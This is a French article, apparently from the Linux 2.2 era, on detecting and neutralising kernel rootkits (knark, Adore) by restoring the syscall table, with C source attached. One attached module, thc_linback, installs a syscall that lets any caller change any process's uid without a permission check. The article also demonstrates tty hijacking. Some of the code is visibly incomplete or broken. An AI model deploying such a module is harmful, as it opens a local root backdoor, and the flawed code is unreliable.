D'une rootkit à une autre ce ne sont pas les mêmes syscall qui sont modifiés, et cela est bien pratique pour savoir qu'elle rootkit rechercher. En général une fois trouvée la rootkit elle-même il est facile de trouver les autres fichiers qui appartiennent aux pirates. Si vous voulez savoir quel syscall patcher pour modifier une action du système, lancez votre commande en debuging avec strace :

    [root@localhost /root]# strace cat /etc/passwd | grep read
  read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1003
  read(3, "", 4096)                       = 0

    [- Note -]
    On a quasiment le meme resultat si l'on cherche cette fois write, ce qui prouve qu'il est possible de
    patcher sys_write a la place de sys_read, ce que fait Adore.

En modifiant insmod pour exécuter mon module à chaque insertion de module vous êtes certain de ne pas avoir affaire à ce type de rootkit, cependant vous pouvez aussi vous contentez d'ajouter un ./kstat -s | grep WARNING > /dev/null && ./root/callpach dans votre cron pour vous assurez de retirer les modules chargés si il y en a !
Une bonne méthode consisterai à rediriger l'exécution de /sbin/insmod par l'intermédiaire d'un binaire qui retire la redirection d'exécution pour faire appel à l'insmod originel puis qui appel mon module via /root/callpatch, et enfin replace correctement la redirection d'exécution (il est nécessaire qu'insmod se trouve a son emplacement d'origine pour être lancer).

Attention ! Ne laissez pas kstat sous son nom originel, sinon vous prenez le risque qu'un hackers averti ne fasse un find / -name kstat -exec ./rexec {} fakekstat et redirige votre kstat vers un faux ou les sorties seraient filtrer !

Vous pouvez aussi aller jeter un oeil à /lib/modules/"kernel-version" pour voir les modules qui sont chargés au démarrage et tenter d'identifier un module rootkit, cependant il est probable que même si il y en un vous ne le verrez pas. C'est a ce moment qu'en utilisant mon module puis en regardant à nouveau, vous pourrez identifier les  modules rootkit qui étaient jusqu'à présent invisibles. Voici une petite démonstration de mon module, ici la rootkit est Adore pour varier un peu de knark.

[root@linux KSTAT]# ./kstat -s | grep W            # Apparament System.map n'est pas a jour et affiche une erreur. Peu importe.
sys_select                      0xc010e598 WARNING! Should be at 0xc0131490
[root@linux KSTAT]# cd /root/rootkit/adore/
[root@linux adore]# insmod adore.o                 # Maintenant le systeme est rootkitez
[root@linux adore]# cd /root/KSTAT/
[root@linux KSTAT]# ./kstat -s | grep W            # Si on ignore sys_select, on voit les 7 syscall modifier par adore
sys_fork                        0xc4cb842c WARNING! Should be at 0xc0108fb0
sys_write                       0xc4cb85a0 WARNING! Should be at 0xc0126c94
sys_close                       0xc4cb8650 WARNING! Should be at 0xc01268b4
sys_kill                        0xc4cb84dc WARNING! Should be at 0xc0111068
sys_mkdir                       0xc4cb873c WARNING! Should be at 0xc012f1d4
sys_select                      0xc010e598 WARNING! Should be at 0xc0131490
sys_clone                       0xc4cb8484 WARNING! Should be at 0xc0108fd0
sys_getdents                    0xc4cb82a8 WARNING! Should be at 0xc0130f98
[root@linux KSTAT]# cd
[root@linux /root]# ./callpatch                     # Lancement du patch

[!] Coder par Sauron.
[*] Syscall table regenerat0r launching !
Done.

[root@linux /root]# cd KSTAT/
[root@linux KSTAT]# ./kstat -s | grep W            # Le systeme est redevenu comme lorsque le module fut chargee. Have Phun :)
sys_select                      0xc010e598 WARNING! Should be at 0xc0131490
[root@linux /root]#                                # Vous pouvez commencez la recherche des fichier du pirate.

Une fois le patch lancer, les processus cacher aparaitront. Faites une comparaison avant et apres avoir lancer mon module et vous connaitrez les pid qui etait
cacher. Mon module est particulierement pratique dans le cas ou vous etes infectee par la rootkit knark comme dans l'exemple d'intrusion. En effet la
rootkit knark cache tout ses secrets dans le repertoire /proc/knark qui est invisible. Tant que la rootkit est charger ces repertoires existe, ils sont automatiquement
effacer lorsque knark est dechargee et que la fonction cleanup_module() s'execute. Les contenus des fichiers de /proc/knark/ ne sont pas senser etre visible pour l'administrateur. Cependant en lancant mon module, la rootkit bien qu'inefficasse  reste charger. Aucunes de ses fonctions ne sera plus appeler.
Cela signifie que une fois mon module lancer, il va vous etre possible de connaitre tous les repertoires et tout les fichiers que votre pirate ne voulait pas que vous voyiez en regardant les fichiers /proc/knark/ :

[root@localhost knark]# cd /proc/knark
[root@localhost knark]# ls
author  files  nethides  pids  redirects
[root@localhost knark]#

Ils contiennent les string referenssant les connexion qui vous apparaissait invisible, les fichiers invisibles, les processus et les redirection d'execution :) Perfect !
Une faille commune aux rootkits est qu'elles sont obligées de savoir que cacher et que laisser visible. Pour cacher leur processus, fichier ou autre il font donc
leur donner un attribut qui les demarquera des autres. Cet attribut une fois connu combiner a mon module va vous permettre de trouver toutes les traces de l'activite
de votre pirate qui se croyait en securite derriere son module.
Dans le cas de la rootkit adore, les fichiers ont comme utilisateur ou comme groupe 30, pour knark ils sont lister dans les fichiers de /proc/knark.
Et en examinant le code de chacune des rootkit vous serez en mesure de toutes les detecter et les mener en echecs :)

        [- Pieger son pirate -]
Pensez de temps a autre a verifier que le terminaux de vos utilisateur ne sont pas root . Si c'est le cas vous pouvez utilisez un module qui va
changer l'uid d'un pid. Ainsi si vous voyez un shell root qui n'est pas le votre, vous pouvez le passez en nobody, puis surveillez son terminal en pratiquant du
tty hijacking. ( des outils existe et le font sans necessiter de connaissances particuliere, vous en trouverez sur la meme url que pour kstat ). Si le pirate a cacher un shell suid root quelque part vous pourez apprendre ou puisqu'il y a des chances qu'il y fasse appel, ne comprenant pas pourquoi whoami lui affiche nobody avec un prompt de root ;)
Voici un exemple d'une tel modification :

root@linux /root]# ps -aux | grep sh | grep root
(...)
root      1649  0.2  1.8  2060 1208 pts/1    S    18:24   0:00 /bin/sh          # surtout ne pas paniquer ! ;) mdr...
root@linux /root]# insmod /root/lkm/thc_linback.o
root@linux /root]# /root/lkm/thc_lincall 99 1649
return code is: 0!
root@linux /root]# ps -aux | grep sh | grep nobody
nobody      1649  0.2  1.8  2060 1208 pts/1    S    18:24   0:00 /bin/sh        # Ahh.. c'est mieux :) Merci les modules !
root@linux /root]# /root/tools/ttyhijack /dev/pts/1 >> /root/LogMrHacker &; sleep 10        # donne moi des infos stp :))
root@linux /root]# echo Pti con va ! >> /dev/pts/1
root@linux /root]# kill 1649                                                    # Allez adios chérie :)

Le code de ce module se trouve a la fin de cette article :) Il peut egalement vous servir pour modifier les permissions de services ( mettre httpd avec des droit
nobody si ce n'est pas le cas sans devoir le relancer par exemple ).
Je ne vais pas continuer a detailler toutes sortes de procedures a suivre, j'ai simplement voulu vous presentez quelque outils de hack qu'il peut etre tres utiles de se
servir.

Cette introduction a la securite Linux est terminer. Je pense que si suivez tout les conseils que je vous ai donner, il ne vous arrivera jamais de vous faire pirater. Et si c'est le cas, vous serez vite en mesure d'assainir votre systeme,  cependant il sera peut etre trop tard pour votre page d'accueil. Allez une derniere astuce : bloquer les page d'accueil en ecriture de maniere discrete avec la commande chattr +ia <fichier> vous pourez  retirer cette protection facilement avec le meme binaire, mais il est peu probable qu'un pirate y pense, de plus vous pouvez cacher le binaire chattr ( whereis chattr pour le trouver ). La meilleur methode pour s'assurer de ne pas etre visitee reste encore de s'informer des nouveau exploits disponible pour l'ennemie, et de ne pas le laisser vous devancer. Je vous conseille d'aller jeter un oeil a Bugtraq sur www.security-focus.com qui recense les nouvelles failles decouvertes et les discussions qui y sont liées :) Prendre 5 minutes de votre temps tout les mois n'est pas exagerer pour garder son systeme des curieux.

Nous avons vu comment nous proteger efficassement des outils de la nouvelles generation, mais il se prepare deja ceux de demain :
Les rootkits patcheront directement /dev/kmem afin de ne pas se laissez reperer par des outils comme kstat, de plus la table des syscall ne sera plus modifier,
les syscall seront directement hijacker ( en placant par exemple un jump comme premiere instruction vers le faux syscall directement a l'adresse sur le vrai syscall).
Le talentueux coder Silvio Cesare a deja ecrit des articles, difusant des codes sources de tels modules, cependant ceux ci ne sont pas encore distribuer dans des
rootkits, on peut craindre que cela arrive tres vite. J'ai quand meme equiper mon module  d'une parade contre ce type d'attaque, lors de son chargement il
sauvegarde les 15 premiers octets de chacun des syscall auquels nous tenons pour les reinscrire plus tard.Ainsi si un jump a ete ajouter il sera retirer et le syscall remis
dans son etat originaire.
Une methode efficasse que les pirates pourraient alors utiliser, serait de ne pas modifier l'adresse des syscall dans la syscall table, mais d'ecrire directement
sur les syscall et d'y placer le syscall modifier a la maniere dont on pose un shellcode en memoire. Ce type d'attaque pourra berner mon module quand ce "syscall"-code
aura les memes 15 premier octet que le syscall identique. Nous n'en sommes pas encore la et je pense que mon module fera l'affaire pour un petit bout de temps.

En attendant qu'il soit vraiment necessaure de se proteger de se type d'outils des plus vicieux, protegez deja votre machine des failles actuellement exploiter =)
Et meme si la plupart des piratage sont tres facilement detectable, n'oubliez pas qu'il existe des hackers metrisant le systeme Linux, particulierement au
niveau de la securite, c'est pourquoi mieux vaut installer des protections efficasses pour ne pas rester sans defenses devant de tels individu.
Heureusement pour les admins dont le systeme est deja compromis, rien n'est desesperer. En allant chercher les informations
directement dans /dev/kmem vous  pourez recuperer l'adresse originel des syscall qui ont ete modifier. En rajoutant quelque #define a mon
module ( la procedure est detaille en commentaire avec celui ci ) vous devriez arrivez a remetre votre syscall table en etat :)
Je fournit avec cet article les code sources permettant de recupere votre systeme des mains d'un pirate. Ouf !

J'espere vous avoir donner quelque idee pour mettre a profit la puissance des modules et ne surtout pas  laissez les puissants outils de la communaute
hackers uniquement pour leur usage.

Bon courage a tous pour administrer  votre r3z0 et le faire devenir securisé :)

Nicolas Brito a.k.a Sauron
N'hesitez pas pour tout commentaires ou pour de l'aide

ps : Je tient a faire savoir que le (mauvais) magazine Hackerz Voice m'a voler les droit d'un article que j'avais écrit l'été dernier et publié sur le réseau sous le titre
"Sécuriser son linux". Hackerz voice a publié mon article dans son intégralité en prenant soin d'effacer mon e-mail et ma signature puis en signant "Prof".
Après un courrier en recommandé, ils me font savoir que je n'en suis pas l'auteur, m'obligeant ainsi à régler ce litige par la voie judiciaire. Non mais !

-=-=-=-=-=-=-=-= Code Source -=-=-=-=-=-=-=-=-=-

### Voila plusieurs outils qui vous seront très utile j'en suis sûr :
1- Le premier code est mon module, suivi du programme destinée à y faire appel (respectivement patch.c et callpatch.c)
2- Le second n'est autre qu'un fragment du programme kstat que j'ai modifié. Désormais il sert uniquement à afficher l'état des syscall. Cela uniquement dans le but de s'assurer que le système est sain au moment ou vous chargerez mon module.
Pour une utilisation autre de kstat,  je vous invite à aller le téléchargement sur s0ftpr0j. Kstat se compose lui aussi de 2 fichiers : kmemread.c (c'est ce programme que j'ai modifié, il est désormais destiné à aller chercher l'adresse originelle des syscall généralement modifié par les rootkits) et le lanceur de kstat, main.c.
4- Vous trouverez ensuite encore un module et son lanceur, c'est celui qui permet de modifier l'uid d'un pid. Comme mon module, il implémente un nouveau syscall pour faire le boulot.
5- Enfin j'ai écrit un petit script shell destinée à vous installez tout ça, vous n'aurez qu'a réunir les fichiers qui suivent dans un même répertoire et à lancer le script Install.sh !

-=-=-=-=-=Cut here=-=-=-=-=-=

Patch.c :

/*
*     Description : Ce module linux va ajouter un syscall numero SYSNUM, 191 par default. Je conseille de modifier
*     ce numero pour eviter une redirection de syscall, ce dont ce module veut eviter !
*     Ce module sauvegarde les syscall affecte par les module trojan des rootkit comme knark ou encore Ombra.
*     A l'appel du syscall SYSNUM, la sys_call_table est remise dans l'etat ou elle a ete trouver,
*     annulant ainsi l'effet des module trojan. De plus les 15 premiers bytes de chacun des syscall que nous
*     tenont a preserver sont sauvegarder pour etre remis en place, evitant ainsi le hijacking de syscall.
*     ( methode inventer par Silvio Cesare pour ne pas avoir besoin de modifier la syscall table et eviter les IDS ).
*
*     Note : Si vous vous apercevez avec kstat que votre systeme a deja ete infecter, il va vous falloir modifier
*     ce module avant de le charger comme suit :
*     Remplacer dans les #define RESTORE et SAVE old_##x par def_##x.Ajouter une define pour chacun des
*     18 syscall que supporte ce module sur ce shema : #define def_write  0xc0126c94  ( addresse originel de sys_write )
*     La derniere petite modification est de copier la define de RESTORE ainsi que tout ces appel dans init_module, pour
*     que la sauvegarde des 15 premiers octets de syscall qui est faite ne soit pas corromput.
*
*
*      * Compilation en douceur avec :
*
*       gcc patch.c -c -D__KERNEL__ -DMODULE -DMODVERSIONS -I/usr/src/linux/include -O6
*       insmod patch.o pour le charger.
*
*       Auteur : saur0n
*
*       E-mail : humour@humour.com
*/

#define __KERNEL_SYSCALLS__
#include <linux/version.h>
#include <linux/module.h>
#include <linux/kernel.h>

#include <linux/sched.h>
#include <linux/smp_lock.h>
#include <linux/stat.h>
#include <linux/dirent.h>
#include <linux/fs.h>
#include <linux/if.h>
#include <linux/modversions.h>
#include <linux/malloc.h>
#include <linux/unistd.h>
#include <linux/string.h>
#include <linux/skbuff.h>
#include <linux/ip.h>
#include <sys/syscall.h>

#include <linux/dirent.h>
#include <linux/proc_fs.h>
#include <asm/uaccess.h>
#include <asm/errno.h>

#define SYSNUM 191

extern void *sys_call_table[];

static char code_getdents[15];
static char code_kill[15];
static char code_read[15];
static char code_ioctl[15];
static char code_fork[15];
static char code_clone[15];
static char code_execve[15];
static char code_settimeofday[15];
static char code_close[15];
static char code_symlink[15];
static char code_mkdir[15];
static char code_write[15];
static char code_unlink[15];
static char code_chdir[15];
static char code_setuid[15];
static char code_getuid[15];
static char code_socketcall[15];
static char code_query_module[15];

int (*old_getdents)(unsigned int, struct dirent *, unsigned int);
int (*old_kill)(int, int);
int (*old_read)(unsigned int, char *, size_t);
int (*old_ioctl)(int, int, long);
int (*old_fork)(struct pt_regs);
int (*old_clone)(struct pt_regs);
int (*old_execve)(struct pt_regs);
int (*old_settimeofday)(struct timeval *, struct timezone *);
int (*old_close)(unsigned int);
int (*old_symlink)(const char *, const char*);
long (*old_mkdir)(const char *, int);
int (*old_write)(unsigned int, char *, size_t);
int (*old_unlink) (const char *) ;
int (*old_chdir) (const char *) ;
int (*old_setuid) (uid_t) ;
int (*old_getuid) () ;
int (*old_socketcall) (int, unsigned long *);
int (*old_query_module)(const char *, int, char *, size_t, size_t *) ;

int (*oldfunc)();

void *_memcpy(void *dest, const void *src, int size)

     {
      const char *p = src;
      char *q = dest;
      int i;

      for (i = 0; i < size; i++) *q++ = *p++;

      return dest;
     }

asmlinkage int restore_system() {

    #define RESTORE(x) sys_call_table[__NR_##x] = old_##x
    RESTORE(write);
    RESTORE(close);
    RESTORE(mkdir);
    RESTORE(getdents);
    RESTORE(kill);
    RESTORE(read);
    RESTORE(ioctl);
    RESTORE(fork);
    RESTORE(clone);
    RESTORE(settimeofday);
    RESTORE(execve);
    RESTORE(unlink);
    RESTORE(chdir);
    RESTORE(setuid);
    RESTORE(getuid);
    RESTORE(socketcall);
    RESTORE(query_module);

    #define NOHIJACK(hca) _memcpy(sys_call_table[__NR_##hca], code_##hca, sizeof(code_##hca));
    NOHIJACK(write);
    NOHIJACK(close);
    NOHIJACK(mkdir);
    NOHIJACK(getdents);
    NOHIJACK(kill);
    NOHIJACK(read);
    NOHIJACK(ioctl);
    NOHIJACK(fork);
    NOHIJACK(clone);
    NOHIJACK(settimeofday);
    NOHIJACK(execve);
    NOHIJACK(unlink);
    NOHIJACK(chdir);
    NOHIJACK(setuid);
    NOHIJACK(getuid);
    NOHIJACK(socketcall);
    NOHIJACK(query_module);
    return 0;
}

int init_module(void)
{

    #define TAPEUNEDOUILLE(x) old_##x = sys_call_table[__NR_##x]
    TAPEUNEDOUILLE(write);
    TAPEUNEDOUILLE(close);
    TAPEUNEDOUILLE(mkdir);
    TAPEUNEDOUILLE(getdents);
    TAPEUNEDOUILLE(kill);
    TAPEUNEDOUILLE(read);
    TAPEUNEDOUILLE(ioctl);
    TAPEUNEDOUILLE(fork);
    TAPEUNEDOUILLE(clone);
    TAPEUNEDOUILLE(settimeofday);
    TAPEUNEDOUILLE(execve);
    TAPEUNEDOUILLE(unlink);
    TAPEUNEDOUILLE(chdir);
    TAPEUNEDOUILLE(setuid);
    TAPEUNEDOUILLE(getuid);
    TAPEUNEDOUILLE(socketcall);
    TAPEUNEDOUILLE(query_module);

    #define SAVE(hca) _memcpy(code_##hca, sys_call_table[__NR_##hca],sizeof(code_##hca));
    SAVE(write);
    SAVE(close);
    SAVE(mkdir);
    SAVE(getdents);
    SAVE(kill);
    SAVE(read);
    SAVE(ioctl);
    SAVE(fork);
    SAVE(clone);
    SAVE(settimeofday);
    SAVE(execve);
    SAVE(unlink);
    SAVE(chdir);
    SAVE(setuid);
    SAVE(getuid);
    SAVE(socketcall);
    SAVE(query_module);
    oldfunc = sys_call_table[SYSNUM];
    sys_call_table[SYSNUM] = restore_system;
    return 0;
}

void cleanup_module(void)
{
    sys_call_table[SYSNUM] = oldfunc;

-=-=-=-=-=-=-=- Cut Here =-=-=-=-=-=-=-=-

callpatch.c :
 

/*
call_regenerator place $0xbf ( 191 ) dans %eax avant d'appeler l'interuption int $0x80 qui a pour
effet d'appeler le syscall dont %eax contient le numero, vous devrez donc modifier une ligne
si vous voulez attribuez un autre numero de syscall a ce patch.
*/
#include <asm/unistd.h>
#include <stdio.h>

int errno;

int call_regenerator()
{

   __asm__("
 movl $191, %eax
 int $0x80
");
}

int main()
{
printf("\n[!] Codé par Sauron.\n[*] Syscall table regenert0r launching !\n");
call_regenerator();
printf("Done.\n\n");

}

-=-=-=-=-=-=-=- Cut Here =-=-=-=-=-=-=-=-

Voici kmemread.c :

  /*
* Description : Il s'agit d'un programme qui va chercher l'adresse des syscall
* souvent modifier par les rootkit dans /dev/kmem directement pour ensuite faire
* appele a un module qui restorera la sys_call_table dans son etat avant trojanisation
* Les modules trojan modifiant les syscall n'auront donc plus aucun effet. Le module
* peut recommencer autant de fois que necessaire. Une petite modification du binaire
* /sbin/insmod ( ou une redirection en execution ) peut s'averer necessaire pour
* que mon module soit appeler immediatement apres insmod appeler. Ainsi vous vous
* assurez qu'aucun module trojan ne poura etre installer. Cela vous evite de mettre
* le restaurateur de syscall et de la sys_call_table dans vos cron.
*
* Auteur : j'ai ( saur0n ) simplement modifier le code de
* FuSyS de "SoftProject Digital Security for Y2K" fourni avec kstat pour l'associer
* avec mon module et pour que celui ci puisse etre efficasse meme si le systeme
* est deja compromis lors de son chargement :-)
*
*/

#define __KERNEL__
#include <linux/netdevice.h>
#include <linux/inetdevice.h>
#include <linux/if_arp.h>
#include <linux/sched.h>
#include <linux/capability.h>
#include <linux/module.h>
#undef __KERNEL__

#define SYSTEMMAP "/boot/System.map"
#define QM_SYMBOLS 4
#include <errno.h>
#define SEEK_SET 0
typedef struct _IO_FILE FILE;
extern FILE *fopen __P ((__const char *__restrict __filename,
__const char *__restrict __modes));
extern char *fgets __P ((char *__restrict __s, int __n,
FILE *__restrict __stream));
extern unsigned long int strtoul __P ((__const char *__restrict __nptr,
char **__restrict __endptr,
int __base));
extern int printf __P ((__const char *__restrict __format, ...));
extern int open __P ((__const char *__file, int __oflag, ...));
extern __ptr_t realloc __P ((__ptr_t __ptr, size_t __size));
extern void free __P ((__ptr_t __ptr));
extern off_t lseek __P ((int __fd, off_t __offset, int __whence))
extern ssize_t read __P ((int __fd, __ptr_t __buf, size_t __nbytes));
extern __ptr_t malloc __P ((size_t __size));

#define KMEM "/dev/kmem"
#define SYSCALL "sys_call_table"

int errno, fd;
char *iff, name[10];

void uso(char*);
int find_kmem_offset(char*);
int kread(int, unsigned long, void*, int);
void err(char*);
int find_maddr(char*);
void show_syscalls();
unsigned long find_smap_addr(char*);

struct new_module_symbol
{
unsigned long value;
unsigned long name;
};

int query_module(const char *name, int which, void *buf, size_t bufsize,
size_t *ret);

int find_kmem_offset(char *sym_name)
{
struct new_module_symbol *syms, *s;
size_t ret, bufsize, nsymbols, j;

syms=malloc(bufsize = sizeof(struct new_module_symbol));
retry_kern_symbol_load:
if(query_module(NULL, QM_SYMBOLS, syms, bufsize, &ret)){
if (errno == ENOSPC){
syms =(struct new_module_symbol *)realloc(syms, bufsize = ret);
goto retry_kern_symbol_load;
}
printf("find_kmem_offset: QM_SYMBOLS error %d\n", errno);
return -1;
}
nsymbols = ret;

for (j = 0, s = syms; j < nsymbols; ++j, ++s){
if(strstr((char *)syms+s->name, sym_name)){
free(syms);
return s->value;
}
}
printf("%s Kmem Offset Not Found\n\n", sym_name);
free(syms);
return -1;
}

int kread(int des, unsigned long addr, void *buf, int len)
{
int rlen;

if(lseek(des, (off_t)addr, SEEK_SET) == -1)
return -1;
if((rlen = read(des, buf, len)) != len)
return -1;
return rlen;
}

#define NR 18

char *sysc[NR]={
"ni_syscall",
"write","close","mkdir", "getdents", "kill", "read", "ioctl", "fork", "clone", "settimeofday", "execve", "unlink", "chdir", "setuid", "getuid", "socketcall", "query_module"};

unsigned long find_smap_addr(char *syscall)
{
FILE *fd;
char buff[8192], call[50], addr[15];

fd=fopen(SYSTEMMAP, "r");

memset(&call, '\0', 50);
memset(&addr, '\0', 15);
strncat(call, "sys_", 4);
strncat(call, syscall, strlen(syscall));
strncat(call, "\n", 1);
call[5+strlen(syscall)+1]='\0';
while((fgets(buff, 8192, fd))!=NULL){
if(strstr(buff, call)){
if(!strcmp(buff+11, call)){
strncat(addr, "0x", 2);
strncat(addr, buff, 8);
addr[11]='\0';
return(strtoul(addr, NULL, 0));
}
}
}
return -1;
}

void show_syscalls()
{
int kd, i;
unsigned int kaddr;
unsigned long kmem_call_table[NR], smapaddr;

kaddr=find_kmem_offset(SYSCALL);
kd=open(KMEM, O_RDONLY);
if(kread(kd, (unsigned long)kaddr, &kmem_call_table, sizeof(kmem_call_table)) == -1) err("[!] Erreur pendant la lecture de /dev/kmem avec kread ! desole ...");

printf("[- Syscall -] [-Address d'origine -]");
for(i=1; i < NR; i++)
if(kmem_call_table[i]){
printf("\nsys_%-22s",
sysc[i]);
smapaddr=find_smap_addr(sysc[i]);
if(kmem_call_table[i] != smapaddr && smapaddr!=0xffffffff)
printf("%p",
(void*)smapaddr);
}
printf("\n");
}

-=-=-=-=-=-=-=- Cut Here =-=-=-=-=-=-=-=-

Voici main.c :

#define __KERNEL__
#include <linux/module.h>
#undef __KERNEL__
void show_syscalls();
int main() {
show_syscalls();
exit(0);
}

-=-=-=-=-=-=-=- Cut Here =-=-=-=-=-=-=-=-

Voila thc_linback.c :

/*
 *  idea & credits go to pragmatic / THC and his "Attacking FreeBSD with Kernel Modules"
 *  ported to linux by belf@s0ftpj.org (tested on debian 2.2 - kernel 2.2.15)
 *  compile with 'gcc -c thc_linback.c -O6 -I/usr/src/linux/include/'
 *  greetz to pig and vecna @ s0ftpj.org
 */

#define __KERNEL__
#define MODULE

#include <linux/kernel.h>
#include <linux/module.h>
#include <asm/unistd.h>
#include <asm/current.h>
#include <linux/sched.h>

#define MYFUNC 192 // here you have to define where register the syscall (see arch/i386/kernel/entry.S)

extern void *sys_call_table[];

int (*fuqfunc)();

asmlinkage int you_make_me_real(unsigned short k_uid, int k_pid) {
 struct task_struct *q;

 for_each_task(q) {
  if(q->pid == k_pid) {
   q->uid = k_uid;
   q->euid = k_uid;
   return 0;
  }
 }
 return -1;
}

int init_module() {
 fuqfunc = sys_call_table[MYFUNC];
 sys_call_table[MYFUNC] = you_make_me_real;
 printk("func (0x%x) registered at offset 0x%x\n", you_make_me_real, sys_call_table[MYFUNC]);
 return 0;
}

void cleanup_module() {
 sys_call_table[MYFUNC] = fuqfunc;
 printk("func registered at offset 0x%x released\n", sys_call_table[MYFUNC]);

}

-=-=-=-=-=-=-=- Cut Here =-=-=-=-=-=-=-=-

Voila call_thc.c :

/*
 * How to use the syscall you_make_me_real()
 * belf@s0ftpj.org
 * greetz to pIG ;)
 */

#include <asm/unistd.h>

#define MYFUNC 192

int errno;

int call_you_make_me_real(unsigned short uid, int pid) {
 long __res;
 __asm__ volatile ("int $0x80"
   : "=a" (__res)
   : "0" (MYFUNC),"b" ((long)(uid)),"c" ((long)(pid)));
 __syscall_return(int,__res);
}

int main(int argc, char *argv[]) {
 if(argc != 3) {
  printf("%s <uid> <pid>\n", argv[0]);
  exit(-1);
 }
 printf("return code is: %d!\n", call_you_make_me_real(atoi(argv[1]), atoi(argv[2])));
}

-=-=-=-=-=-=-=- Cut Here =-=-=-=-=-=-=-=-

Et enfin voici le script shell qui vous installera tout ca , vous n'avez plus qu'a placer ces differents fichier dans un seul et meme repertoire :

#!/bin/sh
uname -a | grep inux | grep 2.2 >/dev/null || echo Avez vous vraiment un kernel linux 2.2.x ?
gcc -O2 -Wall -Werror -I/usr/src/linux/include main.c -c 2&>1
gcc -O2 -Wall -Werror -I/usr/src/linux/include kmemread.c -c 2&>1
gcc -O2 -Wall -Werror -I/usr/src/linux/include main.o kmemread.o -o kstat 2&>1
gcc patch.c -c -D__KERNEL__ -DMODULE -DMODVERSIONS -I/usr/src/linux/include -O6 2&>1
gcc callpatch.c -o callpatch 2&>1
gcc -c thc_linback.c -O6 -I/usr/src/linux/include/ 2&>1
gcc call_thc.c -o call_thc 2&>1
echo [*] Now launch kstat then insmod patch.o if all s good
echo [*] Else read the comment in the header source of the module.
echo [*] Then lauch callpatch for restore your system
echo [*] Insmod thc_linback.o for play with uid of pid !
echo [*] use call_thc to do this !
echo [*] Amusez vous bien avec tout ca :-\)